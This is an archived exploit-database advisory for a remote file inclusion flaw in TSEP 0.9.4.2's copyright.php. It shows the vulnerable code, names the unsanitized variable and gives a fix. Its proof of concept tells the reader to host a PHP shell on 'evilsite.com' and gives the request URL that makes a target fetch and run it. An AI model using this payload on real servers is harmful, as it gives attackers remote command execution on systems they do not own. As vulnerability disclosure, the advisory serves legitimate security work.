TSEP 0.942 - 'copyright.php' Remote File Inclusion

Author: Philipp Niedziela
type: webapps
platform: php
port: 
date_added: 2006-07-31  
date_updated: 2016-08-31  
verified: 1  
codes: OSVDB-29108;CVE-2006-4085;OSVDB-29099;OSVDB-29098;OSVDB-29097;OSVDB-29096;OSVDB-29095;OSVDB-29094;CVE-2006-4055;OSVDB-27706;CVE-2006-3993  
tags:   
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.comtsep.0942.zip  

raw file: 2098.txt  
+--------------------------------------------------------------------
+
+ TSEP 0.9.4.2
+
+--------------------------------------------------------------------
+
+ Affected Software .: TSEP 0.9.4.2
+ Venedor ...........: http://www.tsep.info/
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+ Original advisory .: http://www.bb-pcsecurity.de/
+ Contact ...........: webmaster[at]bb-pcsecurity[.]de
+
+--------------------------------------------------------------------
+
+ Code /include/copyright.php:
+
+ .....
+ <?php require ( $tsep_config["absPath"]."/include/tsepversion.txt" ); ?>
+ .....
+
+--------------------------------------------------------------------
+
+ $tsep_config["absPath"] is not properly sanitized before being used
+
+--------------------------------------------------------------------
+
+ Solution:
+ Include config-File in copyright.php
+
+--------------------------------------------------------------------
+
+ PoC:
+ Place a PHPShell on a remote location:
+ http://evilsite.com/include/tsepversion.txt
+
+ http://[target]/include/copyright.php?tsep_config[absPath]=http://evilsite.com?cmd=ls
+
+--------------------------------------------------------------------
+
+ Greets:
+ Krini Gonzales (5 YEARS :P)
+
+-------------------------[ E O F ]----------------------------------

# milw0rm.com [2006-08-01]